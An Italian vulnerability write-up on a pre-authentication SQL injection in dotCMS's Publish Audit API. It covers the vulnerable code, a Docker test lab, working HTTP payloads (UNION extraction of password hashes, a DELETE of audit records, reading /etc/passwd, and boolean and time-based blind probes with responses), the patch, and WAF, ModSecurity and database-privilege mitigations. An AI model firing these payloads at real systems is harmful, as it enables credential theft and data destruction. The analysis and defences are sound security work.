
dotCMS SQL Injection pre-autenticazione
CVE-2026-8054 è una vulnerabilità di SQL Injection pre-autenticazione ad alto rischio (Pre-auth SQL Injection) presente nell'API di Audit delle Pubblicazioni (Publish Audit API) di dotCMS Core. Il bug è stato tracciato ufficialmente come incidente di sicurezza SI-75 ed è stato divulgato ufficialmente alla fine di maggio 2026. Poiché un attaccante può attivarlo da remoto senza alcuna credenziale, il suo danno potenziale è molto grave.
| Attributo | Valore |
|---|
| ID CVE | CVE-2026-8054 |
| Tracciamento ufficiale | SI-75 |
| Tipo di vulnerabilità | SQL Injection (CWE-89) |
| Componente interessato | dotCMS Core - Publish Audit API |
| Punteggio CVSS | 10.0 (Critical) |
| Versioni affette | 25.11.04-1 a 26.04.28-02 |
| Versione corretta | 26.04.28-03 |
| Vettore d'attacco | SQL injection remota non autenticata (Pre-auth) |
| Privilegi richiesti | Nessuna autenticazione |
| Interazione utente | Nessuna |
| Impatto versioni LTS | Non interessate (il ramo del codice di audit non è stato backportato all'albero LTS) |
La vulnerabilità risiede nei due endpoint REST /api/auditPublishing/get e /api/auditPublishing/getAll. Questi endpoint, quando ricevono i parametri di richiesta dal client, non eseguono alcun filtro o binding parametrizzato, ma costruiscono dinamicamente query SQL tramite concatenazione diretta di stringhe.
Ancora più grave, dotCMS ha completamente tralasciato il controllo di autenticazione e autorizzazione su questi endpoint backend sensibili relativi agli audit. Ciò significa che qualsiasi attaccante remoto senza credenziali, purché possa raggiungere il sistema attraverso la rete, può inviare direttamente richieste HTTP con payload malevoli agli endpoint.
Percorso file: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
La vulnerabilità si trova in due endpoint API REST:
GET /api/auditPublishing/get/{bundleId} - Ottiene lo stato di audit di una singola pubblicazionePOST /api/auditPublishing/getAll - Ottiene in blocco lo stato di audit delle pubblicazioniProblema chiave: Prima della correzione, questi endpoint non richiedevano alcuna autenticazione; qualsiasi utente anonimo poteva accedervi direttamente.
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【Punto vulnerabile】 Nessun controllo di autenticazione! Chiamata diretta all'API backend
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
Percorso file: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
Metodo: getPublishAuditStatuses(List<String> bundleIds) (righe 224-245)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【Punto vulnerabile 1】 Input dell'utente concatenato direttamente nell'istruzione SQL
// Vengono solo aggiunte virgolette singole, nessuna parametrizzazione o escaping
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // Pericoloso: concatenazione di stringhe
.collect(Collectors.toList());
// 【Punto vulnerabile 2】 Uso di String.format per costruire SQL, input utente incorporato direttamente
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Impossibile ottenere l'elenco degli elementi con errore:" + e.getMessage(), e);
}
}
Costante SQL (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph Attaccante esterno
A[Attaccante remoto] -->|Invia payload malevolo| B[API REST HTTP]
end
subgraph Livello applicazione
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|Chiama| D[PublishAuditAPI]
D -->|Chiama| E[PublishAuditAPIImpl]
E -->|Passa bundleIds| F[Elaborazione taint<br/>bundleIds.stream<br/>.map id -> id]
F -->|Concatena parametri| G[Costruzione SQL<br/>String.format]
end
subgraph Livello tecnologico
G -->|Costruisce SQL| H[Query SQL dinamica<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|Esegue| I[Esecuzione SQL]
I -->|Esegue SQL iniettato| J[PostgreSQL/MySQL]
end
subgraph Punti vulnerabili
K[Punto vulnerabile 1<br/>Nessun controllo autenticazione] -.->|Salta autenticazione| C
L[Punto vulnerabile 2<br/>Nessun binding parametrizzato] -.->|Aggiunge solo virgolette| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333Propagazione del taint: Input utente → API REST → Elaborazione backend → Costruzione SQL → Esecuzione database Difetti chiave: Nessuna autenticazione + Nessuna parametrizzazione = SQL injection completamente controllabile
Supponiamo che l'utente inserisca bundleIds = ["x' OR '1'='1"]
SQL normale:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
SQL dopo iniezione:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
Poiché '1'='1' è sempre vero, questa query restituisce tutti i record nella tabella.
graph TD
subgraph Confronto input
A[Input normale<br/>bundle-123] -->|Costruisce| B[SQL normale<br/>WHERE bundle_id IN<br/>'bundle-123']
C[Input malevolo<br/>x OR 1=1] -->|Inietta| D[SQL iniettato<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph Esecuzione database
B -->|Esegue| E[Database]
D -->|Esegue| E
end
subgraph Confronto risultati
E -->|Restituisce| F[Risultato normale<br/>1 record]
E -->|Restituisce - Fuga dati| G[Risultato esposto<br/>Tutti i record]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[Punto di iniezione: chiusura stringa con virgoletta singola<br/>OR 1=1 rende la condizione sempre vera<br/>Risultato: restituisce tutti i record]Un attaccante che sfrutta con successo questa vulnerabilità può eseguire comandi SQL arbitrari nel contesto dell'utente del sistema database, causando le seguenti gravi conseguenze:
graph TD
subgraph Analisi impatto attacco
subgraph Riservatezza dati
A[Hash password amministratore]
B[Credenziali utente]
C[Token di reset]
D[Configurazioni di sistema]
end
subgraph Integrità dati
E[Contenuti del sito]
F[Ruoli e permessi utente]
G[Log di audit]
end
subgraph Disponibilità sistema
H[DROP TABLE]
I[CANCELLAZIONE dati]
J[AGGIORNAMENTO dati]
end
subgraph Escalation privilegi
K[Preso controllo amministratore]
L[Lettura/scrittura filesystem]
M[Esecuzione remota codice]
end
end
N[Vulnerabilità SQL injection] -->|Espone| A
N -->|Espone| B
N -->|Espone| C
N -->|Manipola| E
N -->|Manipola| F
N -->|Esegue| H
N -->|Realizza| K
N -->|Realizza| L
O[CVSS 10.0 Critical] -.->|Valuta| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fffL'attaccante può estrarre le tabelle del database core tramite SQL injection, ottenendo:
Payload d'attacco di esempio - Ottenere password amministratore:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
L'attaccante può modificare, inserire o eliminare arbitrariamente nel database:
Payload d'attacco di esempio - Eliminare record di audit:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
In base al tipo di database backend (PostgreSQL, MySQL, ecc.) e ai permessi di configurazione, l'attaccante potrebbe sfruttare ulteriormente il punto di iniezione per:
Payload d'attacco di esempio - Lettura file PostgreSQL:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
| Dimensione | Valutazione |
|---|---|
| Vettore d'attacco | Remoto di rete (Network) |
| Complessità d'attacco | Bassa (Low) |
| Condizione preliminare | Nessuna (None) |
| Interazione utente | Nessuna (None) |
| Ambito d'impatto | Modificato (Changed) |
| Impatto sulla riservatezza | Alto (High) |
| Impatto sull'integrità | Alto (High) |
| Impatto sulla disponibilità | Alto (High) |
graph TB
subgraph Architettura ambiente Docker
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>rete bridge]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|Espone| E
A -->|Espone| F
B -->|Espone| G
C -->|Espone| H
A -->|Connessione database| B
A -->|Connessione motore di ricerca| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333
note1[Versione vulnerabile: 25.11.04-1<br/>Password iniziale: admin<br/>Porte: 8080, 8443]Usa Docker Compose per configurare l'ambiente vulnerabile:
docker-compose.yml:
services:
dotcms:
build: .
container_name: dotcms-vuln
ports:
- "8080:8080"
- "8443:8443"
environment:
- DOT_INITIAL_ADMIN_PASSWORD=admin
- DOT_DOTCMS_URL=http://localhost:8080
- DOT_DB_HOST=dotcms-db
- DOT_DB_PORT=5432
- DOT_DB_NAME=dotcms
- DOT_DB_USERNAME=dotcms
- DOT_DB_PASSWORD=dotcms
- DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
- DOT_DB_DRIVER=org.postgresql.Driver
- DOT_ES_ENDPOINTS=http://dotcms-es:9200
- DOT_ES_HOSTNAME=dotcms-es
depends_on:
dotcms-db:
condition: service_healthy
dotcms-es:
condition: service_started
dotcms-db:
image: postgres:15
environment:
- POSTGRES_DB=dotcms
- POSTGRES_USER=dotcms
- POSTGRES_PASSWORD=dotcms
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dotcms"]
interval: 5s
timeout: 5s
retries: 20
dotcms-es:
image: elasticsearch:7.17.24
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
Dockerfile:
FROM dotcms/dotcms:25.11.04-1
Comando di avvio:
docker compose up -d
# Attendere il completamento dell'inizializzazione di dotCMS (circa 2-3 minuti)
# Controllare lo stato: docker compose logs -f dotcms
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11
["test-id"]
Risposta: 200 OK, restituisce un array vuoto [], dimostrando che l'endpoint è accessibile senza autenticazione.
Principio del blind boolean: osservare la differenza nel codice di stato della risposta HTTP per determinare se la condizione di iniezione è vera o falsa.
graph TD
subgraph Processo blind boolean
A["Invia richiesta"] -->|Invia payload| B["/api/auditPublishing/getAll"]
B -->|Condizione vera| C["Condizione vera and 1=1"]
B -->|Condizione falsa| D["Condizione falsa and 1=2"]
C -->|Restituisce dati| E["404 Not Found - Dati presenti NPE"]
D -->|Non restituisce dati| F["200 OK + array vuoto - Nessun dato, normale"]
E -->|Analizza| G["Analisi risposta"]
F -->|Analizza| G
G -->|Deduce vero/falso condizione| H["Conclusione dedotta"]
end
style C fill:#51cf66,stroke:#333
style D fill:#ff6b6b,stroke:#333,color:#fff
style E fill:#ff6b6b,stroke:#333,color:#fff
style F fill:#51cf66,stroke:#333
note1["Payload: real-bundle-1 and 1=1 Risposta: 404 Eccezione NPE Conclusione: condizione vera"]
note2["Payload: real-bundle-1 and 1=2 Risposta: 200 + array vuoto Conclusione: condizione falsa"]Test condizione vera (and 1=1):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=1--'"]
Risposta: 404 Not Found
Test condizione falsa (and 1=2):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=2--'"]
Risposta: 200 OK, restituisce []
Analisi esecuzione SQL:
-- Condizione vera: bundle_id corrisponde E 1=1 è vero -> restituisce dati -> codice gestisce NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')
-- Condizione falsa: bundle_id corrisponde MA 1=2 è falso -> non restituisce dati -> risultato vuoto gestito normalmente -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')
Principio della differenza di risposta:
| Condizione | Risultato SQL | Comportamento codice | Risposta HTTP |
|---|---|---|---|
and 1=1 (vero) | Restituisce record corrispondenti | turnIntoPublishAuditStatus() durante l'elaborazione dei dati genera NullPointerException | 404 |
and 1=2 (falso) | Non restituisce record | Lista vuota restituita normalmente | 200 + [] |
Conclusione: Sfruttando la differenza di risposta 404/200, l'attaccante può dedurre bit per bit qualsiasi informazione dal database (nomi tabella, valori campi, hash password, ecc.).
Principio del blind temporale: osservare la differenza nei tempi di risposta per determinare se la condizione di iniezione è vera o falsa.
graph TD
subgraph Processo blind temporale
A["Invia richiesta"] -->|Invia payload| B["/api/auditPublishing/getAll"]
B -->|Passa| C["Payload ritardo SELECT pg_sleep N"]
C -->|Esegue SQL| D["PostgreSQL"]
D -->|Chiama| E["pg_sleep N - esecuzione ritardata"]
E -->|Ritarda N secondi| F["Misura tempo risposta"]
F -->|Confronta con baseline| G["Analizza differenza ritardo"]
G -->|Deduce vero/falso condizione| H["Conclusione dedotta"]
end
style C fill:#51cf66,stroke:#333
style E fill:#51cf66,stroke:#333
note1["Payload: x and SELECT pg_sleep 3 text=t Risposta normale: 0.03 sec Risposta ritardata: 3.02 sec Conclusione: pg_sleep eseguito con successo"]Test ritardo 3 secondi:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(3))::text='t'--'"]

Risposta: 200 OK, tempo impiegato 3.02 secondi
Test ritardo 5 secondi:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(5))::text='t'--'"]
Risposta: 200 OK, tempo impiegato 5.01 secondi
Analisi esecuzione SQL:
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')
Confronto tempi di risposta:
| Payload | Ritardo previsto | Tempo effettivo | Risultato |
|---|---|---|---|
| Richiesta normale | 0 secondi | 0.03 secondi | ✅ |
| pg_sleep(3) | 3 secondi | 3.02 secondi | ✅ Ritardo riuscito |
| pg_sleep(5) | 5 secondi | 5.01 secondi | ✅ Ritardo riuscito |
Conclusione: Controllando il ritardo di risposta, l'attaccante può dedurre bit per bit le informazioni del database anche in scenari senza output visibile.
graph TD
subgraph Soluzione di correzione
subgraph Correzione codice
A[Query parametrizzata<br/>Uso di placeholder]
B[Rafforzamento autenticazione<br/>Push Publish Token]
C[Validazione input<br/>Controllo null/vuoto]
end
subgraph Effetti correzione
D[Prevenzione SQL injection]
E[Limitazione accesso non autorizzato]
F[Prevenzione eccezioni puntatore nullo]
end
G[PR #35553]
H[Versione corretta<br/>26.04.28-03]
end
G -->|Implementa| A
G -->|Implementa| B
G -->|Implementa| C
A -->|Binding parametri| D
B -->|Autenticazione obbligatoria| E
C -->|Gestione valori null| F
H -->|Include| G
style G fill:#51cf66,stroke:#333
style H fill:#51cf66,stroke:#333
note1[Prima della correzione: concatenazione String.format<br/>Dopo la correzione: binding parametri con dc.addParam]Prima della correzione (codice vulnerabile):
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'")
.collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));
Dopo la correzione (codice sicuro):
// Nuovo: controllo valore null
if (bundleIds == null || bundleIds.isEmpty()) {
return Collections.emptyList();
}
// Uso di placeholder per query parametrizzata
final String placeholders = bundleIds.stream()
.map(id -> "?")
.collect(Collectors.joining(","));
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam); // Binding parametri, previene SQL injection
Prima della correzione:
public Response getAll(List<String> bundleIds) {
// Nessun controllo autenticazione
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
Dopo la correzione:
public Response getAll(final List<String> bundleIds,
@Context final HttpServletRequest request) {
// Nuovo: controllo autenticazione Push Publish Token
final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);
final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);
if (failResponse.isPresent()) {
return failResponse.get(); // Restituisce 401 Unauthorized
}
// ...
}
| Misura correttiva | Spiegazione |
|---|---|
| Query parametrizzata | Uso dei placeholder ? al posto della concatenazione di stringhe; il database gestisce automaticamente l'escaping dei parametri, prevenendo radicalmente la SQL injection |
| Rafforzamento autenticazione | Richiede che la richiesta porti un Push Publish Token valido; limita l'accesso solo agli utenti backend autenticati con permessi sul componente publishing-queue |
| Validazione input | Aggiunge controlli per null e liste vuote, prevenendo eccezioni puntatore nullo |
Se non è possibile effettuare subito l'aggiornamento alla versione corretta, si possono adottare le seguenti misure temporanee:
graph TD
subgraph Misure di protezione
subgraph Livello rete
A[Regole WAF di blocco<br/>Blocca /api/auditPublishing/]
B[Limitazioni firewall<br/>Consenti solo traffico interno]
end
subgraph Livello applicazione
C[Regole protezione Nginx<br/>Blocco location]
D[Regole ModSecurity<br/>Rilevamento SQL injection]
end
subgraph Livello dati
E[Limitazione permessi database<br/>Principio del minimo privilegio]
F[Limitazione funzioni a rischio<br/>pg_read_file ecc.]
end
G[Aggiornamento a 26.04.28-03<br/>Soluzione definitiva]
end
A -.->|Sostituto temporaneo| G
B -.->|Sostituto temporaneo| G
C -.->|Sostituto temporaneo| G
E -.->|Riduce impatto| G
style G fill:#51cf66,stroke:#333
style A fill:#ffd43b,stroke:#333
style B fill:#ffd43b,stroke:#333
style C fill:#ffd43b,stroke:#333
style D fill:#ffd43b,stroke:#333
note1[Priorità: P0 - Aggiornamento immediato<br/>Altre misure sono soluzioni temporanee]Configurare politiche di controllo accessi sul firewall applicativo web (WAF) o sul proxy inverso, bloccando o rifiutando direttamente il traffico esterno verso i percorsi /api/auditPublishing/get e /api/auditPublishing/getAll.
# /etc/nginx/conf.d/dotcms-security.conf
# Blocca le richieste a Publish Audit API
location ~ ^/api/auditPublishing/(get|getAll) {
# Restituisce 403 accesso negato
return 403 "Accesso negato: endpoint bloccato per motivi di sicurezza";
add_header Content-Type text/plain;
}
# Oppure usa un approccio più permissivo, consentendo solo traffico interno
location ~ ^/api/auditPublishing/(get|getAll) {
# Consenti subnet interne
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
# Nega tutte le altre origini
deny all;
}
# Regole WAF contro caratteristiche SQL injection
location / {
# Rileva pattern comuni di SQL injection
if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
return 403;
}
# Rileva iniezione con virgoletta singola
if ($request_uri ~* "'") {
return 403;
}
proxy_pass http://dotcms_backend;
}
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf
# Regola 1: Blocca l'accesso agli endpoint vulnerabili
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
"id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Accesso bloccato a endpoint dotCMS vulnerabile'"
# Regola 2: Rileva caratteristiche SQL injection
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
"id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: Tentativo di SQL injection rilevato'"
Assicurarsi che l'account del database utilizzato da dotCMS segua il principio del minimo privilegio:
-- Esempio di limitazione permessi PostgreSQL
-- Crea utente limitato
CREATE USER dotcms_restricted WITH PASSWORD 'password_sicura';
-- Concedi solo permessi necessari sulle tabelle
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;
-- Vieta creazione/eliminazione tabelle
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;
-- Vieta esecuzione comandi di sistema
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;
-- Vieta lettura file
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;
# Usa iptables per limitare l'accesso alle porte API
# Consenti solo traffico interno sulla porta 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
graph TD
subgraph Riepilogo vulnerabilità
subgraph Analisi causa radice
A[Mancata validazione input<br/>Input utente concatenato direttamente in SQL]
B[Mancata autenticazione<br/>API accessibile senza autenticazione]
C[Mancata parametrizzazione<br/>Concatenazione stringhe invece di query parametrizzate]
end
subgraph Valutazione CVSS
D[CVSS 10.0<br/>Critical]
E[Remoto di rete]
F[Bassa complessità]
G[Nessuna autenticazione]
end
subgraph Suggerimenti correzione
H[P0: Aggiornamento immediato<br/>26.04.28-03]
I[P1: Blocco WAF<br/>Mitigazione temporanea]
J[P2: Permessi database<br/>Ridurre impatto]
end
end
A -->|Porta a| D
B -->|Porta a| D
C -->|Porta a| D
H -->|Risolve| A
H -->|Risolve| B
H -->|Risolve| C
I -.->|Sostituto temporaneo| H
J -.->|Riduce rischio| H
style D fill:#ff6b6b,stroke:#333,color:#fff
style H fill:#51cf66,stroke:#333
note1[Vettore d'attacco: Network<br/>Complessità attacco: Low<br/>Privilegi richiesti: None<br/>Interazione utente: None]
| Priorità | Misura | Spiegazione |
|---|---|---|
| P0 - Immediata | Aggiornamento a dotCMS 26.04.28-03 o superiore | Versione ufficiale corretta, risolve il problema alla radice |
| P1 - Urgente | Configurare regole WAF di blocco | Mitigazione temporanea, blocca il traffico d'attacco |
| P2 - Importante | Limitare i permessi del database | Ridurre l'impatto in caso di sfruttamento della vulnerabilità |
| P3 - Consigliata | Audit di sicurezza su altri endpoint | Verificare la presenza di problemi simili |
Il team ufficiale ha dichiarato che le versioni LTS (Long Term Support) non sono interessate, poiché il ramo del codice di audit interessato non è mai stato backportato all'albero LTS. Gli utenti delle versioni LTS non necessitano di aggiornamenti urgenti.
Data creazione report: 2026-06-08 Strumenti di analisi: Docker, curl, PostgreSQL Versione vulnerabile: dotCMS 25.11.04-1 Versione corretta: dotCMS 26.04.28-03 (PR #35553)